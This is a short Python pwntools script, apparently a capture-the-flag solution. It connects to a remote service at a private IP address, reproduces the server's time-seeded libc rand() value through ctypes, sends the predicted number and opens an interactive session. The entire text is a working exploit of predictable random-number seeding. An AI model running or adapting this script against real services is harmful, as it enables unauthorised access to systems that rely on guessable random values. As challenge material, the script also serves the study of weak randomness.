from pwn import *
from ctypes import *
from pwnlib.util.packing import p64
p = remote('10.131.194.201',59746)
LIBC = CDLL('libc.so.6')  
seed = LIBC.time(0)
LIBC.srand(seed)
x = LIBC.rand()
payload = str(x).encode()
p.sendline(payload)
p.interactive()